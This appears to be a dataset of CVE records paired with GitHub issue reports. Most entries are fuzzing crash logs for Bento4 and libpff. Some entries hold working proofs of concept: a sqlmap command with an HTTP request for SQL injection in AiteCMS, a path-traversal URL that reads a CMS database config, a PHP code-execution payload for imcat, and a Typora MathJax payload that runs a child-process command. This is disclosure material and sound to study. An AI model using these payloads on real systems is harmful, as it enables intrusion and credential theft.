#23 0x61bf3d in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:84:16
#24 0x61b922 in AP4_DrefAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:50:16
#25 0x5d4fd8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:560:20
#26 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#27 0x60e27d in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#28 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#29 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#30 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#31 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#32 0x61bf3d in AP4_DrefAtom::AP4_DrefAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4DrefAtom.cpp:84:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4Utils.h:78:22 in AP4_BytesToUInt32BE(unsigned char const*)
Shadow bytes around the buggy address:
0x0c0e7fff81e0: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa 00 00
0x0c0e7fff81f0: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
0x0c0e7fff8200: 00 00 00 00 00 00 fa fa fa fa 00 00 00 00 00 00
0x0c0e7fff8210: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 00
0x0c0e7fff8220: 00 fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00
=>0x0c0e7fff8230:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8240: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==21708==ABORTING
# Information provided by crashwalk
---CRASH SUMMARY---
Filename: psym-crashes/id:000382,sig:06,src:005991,op:flip1,pos:3837
SHA1: 5c2e8caa3c148bb05c322da182cadbc2072fb82e
Classification: UNKNOWN
Hash: f937118ff00ccff334602ba62160ed8c.1396527138624a36d1c970a348bf5074
Command: ./mp42aac psym-crashes/id:000382,sig:06,src:005991,op:flip1,pos:3837 /tmp/out.aac
Faulting Frame:
AP4_CttsAtom::AP4_CttsAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) @ 0x00005555555dc14a: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
Disassembly:
0x00005555555dc134: mov rcx,QWORD PTR [rbx+0x38]
0x00005555555dc138: lea rsi,[rax*8+0x8]
0x00005555555dc140: xor eax,eax
0x00005555555dc142: nop WORD PTR [rax+rax*1+0x0]
0x00005555555dc148: mov edx,eax
=> 0x00005555555dc14a: mov edx,DWORD PTR [rbp+rdx*1+0x0]
0x00005555555dc14e: bswap edx
0x00005555555dc150: mov DWORD PTR [rcx+rax*1],edx
0x00005555555dc153: lea edx,[rax+0x4]
0x00005555555dc156: mov edx,DWORD PTR [rbp+rdx*1+0x0]
Stack Head (105 entries):
AP4_CttsAtom::AP4_CttsAto @ 0x00005555555dc14a: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_CttsAtom::Create(unsi @ 0x00005555555dc286: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cb9c8: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cdb9c: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_ContainerAtom::ReadCh @ 0x00005555555db882: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_ContainerAtom::Create @ 0x00005555555dbbfd: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cb892: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cdb9c: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_DrefAtom::AP4_DrefAto @ 0x00005555555df391: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_DrefAtom::Create(unsi @ 0x00005555555df47e: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cb8c7: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cdb9c: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_ContainerAtom::ReadCh @ 0x00005555555db882: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_ContainerAtom::Create @ 0x00005555555dbbfd: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cb892: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cdb9c: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
Registers:
rax=0x00000000000091e0 rbx=0x0000555555657dd0 rcx=0x00007ffbf7a55010 rdx=0x00000000000091e0
rsi=0x0000000400000050 rdi=0x0000555555652480 rbp=0x0000555555657e20 rsp=0x00007fffffffb220
r8=0x0000000000000050 r9=0x0000000000000000 r10=0x0000000000000022 r11=0x00007ffff7d93be0
r12=0x00005555556535a0 r13=0x0000555555638208 r14=0x00007ffbf7a55010 r15=0x00005555556535a0
rip=0x00005555555dc14a efl=0x0000000000010202 cs=0x0000000000000033 ss=0x000000000000002b
ds=0x0000000000000000 es=0x0000000000000000 fs=0x0000000000000000 gs=0x0000000000000000
Extra Data:
Description: Access violation on source operand
Short description: SourceAv (19/22)
Explanation: The target crashed on an access violation at an address matching the source operand of the current instruction. This likely indicates a read access violation.
---END SUMMARY---
| Heap buffer overflow in AP4_CttsAtom::AP4_CttsAtom(unsigned int, unsigned char, unsigned int, AP4_ByteStream&) | https://api.github.com/repos/axiomatic-systems/Bento4/issues/507/comments | 2 | 2020-05-16T07:46:13Z | 2020-05-22T00:41:43Z | https://github.com/axiomatic-systems/Bento4/issues/507 | 619,406,496 | 507 | 2,342 |
CVE-2020-23334 | 2021-08-17T22:15:07.973 | A WRITE memory access in the AP4_NullTerminatedStringAtom::AP4_NullTerminatedStringAtom component of Bento4 version 06c39d9 can lead to a segmentation fault. | {
"cvssMetricV2": [
{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 5,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 2.9,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/508"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Patch",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/508"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:*:*:*:*:*:*:*:*",
"matchCriteriaId": "89DEDC3E-CD07-448B-BFC4-105F86368918",
"versionEndExcluding": "1.6.0-635",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"787"
] | 787 | https://github.com/axiomatic-systems/Bento4/issues/508 | [
"Exploit",
"Patch",
"Third Party Advisory"
] | github.com | [
"axiomatic-systems",
"Bento4"
] | I found a crash by running "./mp42aac @@ /tmp/out.aac".
The crash is identified as "EXPLOITABLE" by crashwalk.
# Information provided by crashwalk (!exploitable)
---CRASH SUMMARY---
Filename: id:000436,sig:11,src:005777,op:ext_AO,pos:697
SHA1: 6e5f8913397067951eb2e963701fd605b3bc168b
Classification: EXPLOITABLE
Hash: 7606cf035283a6a1bf64fe4bdc424dfb.c7ad0413c824b07ed97b196265be5bd9
Command: ./mp42aac psym-crashes/id:000436,sig:11,src:005777,op:ext_AO,pos:697 /tmp/out.aac
Faulting Frame:
AP4_NullTerminatedStringAtom::AP4_NullTerminatedStringAtom(unsigned int, unsigned long long, AP4_ByteStream&) @ 0x00005555555cac74: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
Disassembly:
0x00005555555cac63: mov r12,rax
0x00005555555cac66: call 0x5555555ac890 <_ZN14AP4_ByteStream4ReadEPvj>
0x00005555555cac6b: lea eax,[rbx-0x9]
0x00005555555cac6e: mov rsi,r12
0x00005555555cac71: mov rdi,rbp
=> 0x00005555555cac74: mov BYTE PTR [r12+rax*1],0x0
0x00005555555cac79: call 0x5555555bbc30 <_ZN10AP4_StringaSEPKc>
0x00005555555cac7e: pop rbx
0x00005555555cac7f: pop rbp
0x00005555555cac80: pop r12
Stack Head (20 entries):
AP4_NullTerminatedStringA @ 0x00005555555cac74: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cbac2: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cdb9c: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_ContainerAtom::ReadCh @ 0x00005555555db882: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_ContainerAtom::Create @ 0x00005555555dbbfd: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cb892: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cdb9c: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_ContainerAtom::ReadCh @ 0x00005555555db882: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_ContainerAtom::AP4_Co @ 0x00005555555db999: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_TrakAtom::AP4_TrakAto @ 0x00005555555bdef3: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cbf9c: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cdb9c: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_ContainerAtom::ReadCh @ 0x00005555555db882: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_ContainerAtom::AP4_Co @ 0x00005555555db999: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_MoovAtom::AP4_MoovAto @ 0x00005555555aee5a: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
AP4_AtomFactory::CreateAt @ 0x00005555555cc87a: in /home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac
Registers:
rax=0x00000000ffffffff rbx=0x0000000000000008 rcx=0x0000555555654fe0 rdx=0x0000000000000000
rsi=0x0000555555654fd0 rdi=0x0000555555654fb8 rbp=0x0000555555654fb8 rsp=0x00007fffffffd470
r8=0x0000555555654fd0 r9=0x00007fffffffd598 r10=0x0000000000000008 r11=0x00007ffff7d93be0
r12=0x0000555555654fd0 r13=0x00005555556535a0 r14=0x0000000000000000 r15=0x00005555556535a0
rip=0x00005555555cac74 efl=0x0000000000010206 cs=0x0000000000000033 ss=0x000000000000002b
ds=0x0000000000000000 es=0x0000000000000000 fs=0x0000000000000000 gs=0x0000000000000000
Extra Data:
Description: Access violation on destination operand
Short description: DestAv (8/22)
Explanation: The target crashed on an access violation at an address matching the destination operand of the instruction. This likely indicates a write access violation, which means the attacker may control the write address and/or value.
---END SUMMARY---
# Information provided by address sanitizer
=================================================================
==21893==ERROR: AddressSanitizer: SEGV on unknown address 0x6021000000cf (pc 0x0000005ca6ca bp 0x7ffdfe80f7d0 sp 0x7ffdfe80f6b0 T0)
==21893==The signal is caused by a WRITE memory access.
#0 0x5ca6c9 in AP4_NullTerminatedStringAtom::AP4_NullTerminatedStringAtom(unsigned int, unsigned long long, AP4_ByteStream&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4Atom.cpp:474:21
#1 0x5d46e8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:550:24
#2 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#3 0x60e44b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#4 0x60d6ee in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#5 0x60d6ee in AP4_ContainerAtom::Create(unsigned int, unsigned long long, bool, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:88
#6 0x5d42b2 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:796:20
#7 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#8 0x60e44b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#9 0x60e126 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#10 0x5a3e4b in AP4_TrakAtom::AP4_TrakAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4TrakAtom.cpp:165:5
#11 0x5d37f8 in AP4_TrakAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4TrakAtom.h:58:20
#12 0x5d37f8 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:399
#13 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#14 0x60e44b in AP4_ContainerAtom::ReadChildren(AP4_AtomFactory&, AP4_ByteStream&, unsigned long long) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:194:12
#15 0x60e126 in AP4_ContainerAtom::AP4_ContainerAtom(unsigned int, unsigned long long, bool, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4ContainerAtom.cpp:139:5
#16 0x57ccec in AP4_MoovAtom::AP4_MoovAtom(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4MoovAtom.cpp:79:5
#17 0x5d4251 in AP4_MoovAtom::Create(unsigned int, AP4_ByteStream&, AP4_AtomFactory&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4MoovAtom.h:56:20
#18 0x5d4251 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned int, unsigned int, unsigned long long, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:379
#19 0x5d2922 in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, unsigned long long&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:233:14
#20 0x5d21eb in AP4_AtomFactory::CreateAtomFromStream(AP4_ByteStream&, AP4_Atom*&) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4AtomFactory.cpp:153:12
#21 0x57920e in AP4_File::ParseStream(AP4_ByteStream&, AP4_AtomFactory&, bool) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4File.cpp:104:12
#22 0x5797bb in AP4_File::AP4_File(AP4_ByteStream&, bool) /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4File.cpp:78:5
#23 0x571465 in main /home/natalie/Downloads/Bento4-master/Source/C++/Apps/Mp42Aac/Mp42Aac.cpp:250:22
#24 0x7f2bab9ae1e2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x271e2)
#25 0x45c96d in _start (/home/natalie/Desktop/research/Bug/bento4-06c39d9/mp42aac-asan+0x45c96d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/natalie/Downloads/Bento4-master/Source/C++/Core/Ap4Atom.cpp:474:21 in AP4_NullTerminatedStringAtom::AP4_NullTerminatedStringAtom(unsigned int, unsigned long long, AP4_ByteStream&)
==21893==ABORTING
| SEGV on unknown address by a WRITE memory access in AP4_NullTerminatedStringAtom::AP4_NullTerminatedStringAtom(unsigned int, unsigned long long, AP4_ByteStream&) | https://api.github.com/repos/axiomatic-systems/Bento4/issues/508/comments | 1 | 2020-05-16T07:59:15Z | 2020-05-22T00:41:44Z | https://github.com/axiomatic-systems/Bento4/issues/508 | 619,408,633 | 508 | 2,343 |
CVE-2020-18746 | 2021-08-18T15:15:07.253 | SQL Injection in AiteCMS v1.0 allows remote attackers to execute arbitrary code via the component "aitecms/login/diy_list.php". | {
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"kk98kk0",
"exploit"
] | Vulnerability description
Test object:
1. website name: AiteCmsv1.0
2. web: http://www.aitecms.com/
3. the download link address: https://pan.baidu.com/s/1qYhUu4G
4. version: aitecms v1.0.rar compression package decompression
Test time:
March 17, 2019
Description of vulnerability:
AiteCms system background -SQL injection vulnerability. Background management center - online message - remarks, SQL injection vulnerability
> Parameter: MULTIPART id ((custom) POST)
> Type: AND/OR time-based blind
> Title: MySQL >= 5.0.12 AND time-based blind
POC and verification
Local setup environment:
Install AiteCms guide: http://www.aitecms.com/view-4-1.html
1. Download https://pan.baidu.com/s/1qYhUu4G
2. the background to http://127.0.0.1/aitecms/login/, the password is admin/admin
3. Verify by the following POC verification methods.
Bug:
```
Parameter: MULTIPART id ((custom) POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
```
Verification method:
`sqlmap.py -l aitecmsSQLi.txt --batch --random-agent -o --dbms="mysql" -p id -v 4`
AitecmsSQLi.txt：
```
POST /aitecms/login/diy_list.php?action=edit&diyid=1&id=24&do=2 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/aitecms/login/diy_list.php?action=edit&diyid=1&id=24
Content-Type: multipart/form-data; boundary=---------------------------293582696224464
Content-Length: 1192
Connection: close
Cookie: PHPSESSID=00gdhl9buleop09vajrd4lgkk4; DedeUserID=1; DedeUserID__ckMd5=21e5482050dff3e8; DedeLoginTime=1552802338; DedeLoginTime__ckMd5=d7359ea71f3d0bb2; lastCid=1; lastCid__ckMd5=21e5482050dff3e8; ENV_GOBACK_URL=%2Faitecms%2Flogin%2Fdiy_main.php
Upgrade-Insecure-Requests: 1
-----------------------------293582696224464
Content-Disposition: form-data; name="dopost"
edit
-----------------------------293582696224464
Content-Disposition: form-data; name="id"
24
-----------------------------293582696224464
Content-Disposition: form-data; name="username"
林先生
-----------------------------293582696224464
Content-Disposition: form-data; name="telephone"
18978811188
-----------------------------293582696224464
Content-Disposition: form-data; name="email"
admin@tttt58.com
-----------------------------293582696224464
Content-Disposition: form-data; name="remark"
暂无备注
-----------------------------293582696224464
Content-Disposition: form-data; name="shijian"
1488250285
-----------------------------293582696224464
Content-Disposition: form-data; name="reeee"
reeeeffffffff
-----------------------------293582696224464
Content-Disposition: form-data; name="dede_fields"
username,text;telephone,text;email,text;remark,text;shijian,datetime;reeee,text
-----------------------------293582696224464
Content-Disposition: form-data; name="Submit1"
保存更改
-----------------------------293582696224464--
```
Vulnerability to prove:
Reinforcement proposal：
Improve the filter function
Code review：
Local building environment.
\aitecms\include\common.inc.php CheckRequest Filter function line 88 to submit content, imperfect.
Call CheckRequest to check $_REQUEST
Bypass _RunMagicQuotes checks, bypass addslashes function checks
Connect to a Database \wamp\www\aitecms\include\common.inc.php
\wamp\www\aitecms\include\dedesql.class.php
Bypass SQL security checks
Finally, the editor submitted successfully
| AiteCms system background -sql injection vulnerability | https://api.github.com/repos/kk98kk0/exploit/issues/3/comments | 0 | 2019-03-20T06:07:35Z | 2019-03-20T06:07:35Z | https://github.com/kk98kk0/exploit/issues/3 | 423,082,871 | 3 | 2,344 |
CVE-2020-18875 | 2021-08-18T17:15:07.747 | Incorrect Access Control in DotCMS versions before 5.1 allows remote attackers to gain privileges by injecting client configurations via vtl (velocity) files. | {
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CVE-2020-22120 | 2021-08-18T18:15:07.127 | A remote code execution (RCE) vulnerability in /root/run/adm.php?admin-ediy&part=exdiy of imcat v5.1 allows authenticated attackers to execute arbitrary code. | {
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"peacexie",
"imcat"
] | 1、Login the backstage
http://127.0.0.1/root/run/adm.php
2.find “DIY配置”
http://127.0.0.1/root/run/adm.php?admin-ediy&part=exdiy
3 Click on the “修改”
4 Modify the content payload：<?php phpinfo(); ?> And save it
5 Access to this file and it has a Code Execution
fix:
1.The best removal of this function
| You code has a Code Execution Vulnerability in the backstage | https://api.github.com/repos/peacexie/imcat/issues/3/comments | 1 | 2020-02-10T04:28:16Z | 2020-05-11T07:54:06Z | https://github.com/peacexie/imcat/issues/3 | 562,317,108 | 3 | 2,346 |
CVE-2020-22124 | 2021-08-18T18:15:07.220 | A vulnerability in the \inc\config.php component of joyplus-cms v1.6 allows attackers to access sensitive information. | {
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"876054426",
"vul"
] | # Title: joyplus-cms 1.6 - Any file to read vulnerability
# Date: 2020-02-25
# Exploit Author: Zeo
# Vendor Homepage: https://github.com/joyplus/joyplus-cms and http://www.joyplus.tv
# Software Link: https://github.com/joyplus/joyplus-cms
# Version: 1.6
# Tested on Windows 7
# joyplus-cms 1.6 has a vulnerability that can Any file to read
# that would allow an attacker to Sensitive information website and mysql or ftp password
# Proof :
1 Normal installation site and login
http://127.0.0.1/joyplus-cms/manager/index.php?action=login
2 Access to trigger the vulnerability site You can switch to any directory
payload
http://127.0.0.1/joyplus-cms/manager/admin_ads.php?action=edit&file=../../../inc/config.php
You can switch to any directory ex：file=../../../inc/config.php
3 read the "\joyplus-cms\inc\config.php" code Let the cat out of the mysql password
You can switch to any directory，just change the file=../../../xx.xx
| joyplus-cms 1.6 has Any file to read vulnerability | https://api.github.com/repos/876054426/vul/issues/1/comments | 2 | 2020-02-25T07:56:40Z | 2021-08-21T10:29:04Z | https://github.com/876054426/vul/issues/1 | 570,379,223 | 1 | 2,347 |
CVE-2020-18748 | 2021-08-19T16:15:12.077 | Cross Site Scripting (XSS) in Typora v0.9.65 allows attackers to execute arbitrary code via mathjax syntax due to a mathjax configuration error in the mathematical formula blocks. This is a different vulnerability from CVE-2020-18221. | {
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payload
```
$$
\style{fill: black;}{
\href{javascript:eval(`cp=reqnode("child_process");
cp.exec("calc");`)}{
\begin{matrix}
1 & x & x^2 \\
1 & y & y^2 \\
\end{matrix}
}
}
$$
```
PS. need click
| [CVE-2020-18748]V0.9.65 XSS to RCE | https://api.github.com/repos/typora/typora-issues/issues/2226/comments | 1 | 2019-02-26T15:20:01Z | 2021-08-19T14:34:29Z | https://github.com/typora/typora-issues/issues/2226 | 414,665,831 | 2,226 | 2,348 |
CVE-2020-18897 | 2021-08-19T22:15:07.167 | An use-after-free vulnerability in the libpff_item_tree_create_node function of libyal Libpff before 20180623 allows attackers to cause a denial of service (DOS) or execute arbitrary code via a crafted pff file. | {
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"vectorString": "AV:L/AC:M/Au:N/C:P/I:P/A:P",
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"exploitabilityScore": 3.4,
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] | github.com | [
"libyal",
"libpff"
] | AddressSanitizer: heap-use-after-free at libpff_item_tree.c:816
POC files:
https://github.com/ntu-sec/pocs/blob/master/libpff-4938b7a/crashes/huaf_libpff_item_tree.c%3A816_1.input.txt
https://github.com/ntu-sec/pocs/blob/master/libpff-4938b7a/crashes/huaf_libpff_item_tree.c%3A816_2.input.txt
ASan output:
https://github.com/ntu-sec/pocs/blob/master/libpff-4938b7a/crashes/huaf_libpff_item_tree.c%3A816_1.err.SIG06
https://github.com/ntu-sec/pocs/blob/master/libpff-4938b7a/crashes/huaf_libpff_item_tree.c%3A816_2.err.SIG06 | libpff_item_tree_create_node 4 byte read of cached out value | https://api.github.com/repos/libyal/libpff/issues/61/comments | 2 | 2018-06-23T06:51:13Z | 2018-07-13T16:10:56Z | https://github.com/libyal/libpff/issues/61 | 335,075,121 | 61 | 2,349 |
CVE-2020-18897 | 2021-08-19T22:15:07.167 | An use-after-free vulnerability in the libpff_item_tree_create_node function of libyal Libpff before 20180623 allows attackers to cause a denial of service (DOS) or execute arbitrary code via a crafted pff file. | {
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"availabilityImpact": "PARTIAL",
"baseScore": 4.4,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:L/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
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] | github.com | [
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"libpff"
] | POC files:
https://github.com/ntu-sec/pocs/blob/master/libpff-4938b7a/crashes/huaf_libpff_item_tree.c%3A828_1.input.txt
https://github.com/ntu-sec/pocs/blob/master/libpff-4938b7a/crashes/huaf_libpff_item_tree.c%3A828_2.input.txt
ASan output:
